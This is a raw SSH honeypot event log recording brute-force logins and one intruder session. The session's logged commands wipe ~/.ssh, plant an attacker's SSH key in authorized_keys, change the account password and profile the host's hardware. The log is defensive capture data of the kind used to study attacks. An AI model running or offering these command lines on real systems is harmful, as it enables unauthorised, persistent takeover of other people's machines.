{"eventid":"cowrie.login.failed","username":"root","password":"my123456","message":"login attempt [root/my123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:30.832234Z","src_ip":"49.247.36.49","session":"f363679b5bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis","message":"login attempt [denis/denis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:31.172902Z","src_ip":"42.200.66.164","session":"085d42ca8232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:32.041502Z","src_ip":"49.247.36.49","session":"f363679b5bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:32.449781Z","src_ip":"42.200.66.164","session":"085d42ca8232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53306,"dst_ip":"10.17.0.5","dst_port":22,"session":"a905e860c4ab","protocol":"ssh","message":"New connection: 216.155.93.75:53306 (10.17.0.5:22) [session: a905e860c4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:47.137356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:47.143561Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:47.295938Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:47.928325Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.278477Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.282093Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.286089Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.440039Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.781505Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.784563Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.938863Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:48.942681Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53559,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b3f255a6c2","protocol":"ssh","message":"New connection: 216.155.93.75:53559 (10.17.0.5:22) [session: b4b3f255a6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:49.088791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:49.092234Z","src_ip":"216.155.93.75","session":"b4b3f255a6c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:49.243870Z","src_ip":"216.155.93.75","session":"b4b3f255a6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:49.880037Z","src_ip":"216.155.93.75","session":"b4b3f255a6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:51.034660Z","src_ip":"216.155.93.75","session":"b4b3f255a6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53561,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d737dcf96f1","protocol":"ssh","message":"New connection: 216.155.93.75:53561 (10.17.0.5:22) [session: 9d737dcf96f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:51.181118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:51.208507Z","src_ip":"216.155.93.75","session":"9d737dcf96f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:51.360935Z","src_ip":"216.155.93.75","session":"9d737dcf96f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:52.004653Z","src_ip":"216.155.93.75","session":"9d737dcf96f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:53.180987Z","src_ip":"216.155.93.75","session":"9d737dcf96f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:53.539884Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:53.543072Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:53.696074Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.045311Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin\\nptI75HOTWgsP\\nptI75HOTWgsP\"|passwd|bash","message":"CMD: echo -e \"adminadmin\\nptI75HOTWgsP\\nptI75HOTWgsP\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.048403Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.050758Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.053824Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8363db4d9b1e515ce7c4be80bd583c70595fa6d3bd9880ea38a8111896aa4bef","size":32,"shasum":"8363db4d9b1e515ce7c4be80bd583c70595fa6d3bd9880ea38a8111896aa4bef","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/8363db4d9b1e515ce7c4be80bd583c70595fa6d3bd9880ea38a8111896aa4bef after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.209948Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.563951Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin\\nptI75HOTWgsP\\nptI75HOTWgsP\\n\"|passwd","message":"CMD: echo \"adminadmin\\nptI75HOTWgsP\\nptI75HOTWgsP\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.567381Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ce2789c47c3c8a796398446bcd078176ada5c7f57cf40a964e1d85e741e5501f","size":25,"shasum":"ce2789c47c3c8a796398446bcd078176ada5c7f57cf40a964e1d85e741e5501f","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ce2789c47c3c8a796398446bcd078176ada5c7f57cf40a964e1d85e741e5501f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:54.721175Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.112881Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.116565Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.273103Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":56484,"dst_ip":"159.203.135.109","dst_port":22,"session":"5616578c0b69","protocol":"ssh","message":"New connection: 43.243.142.42:56484 (159.203.135.109:22) [session: 5616578c0b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.392877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.398419Z","src_ip":"43.243.142.42","session":"5616578c0b69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.631171Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.634697Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.648452Z","src_ip":"43.243.142.42","session":"5616578c0b69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:55.792180Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.151386Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.155516Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.159600Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.319103Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.673949Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
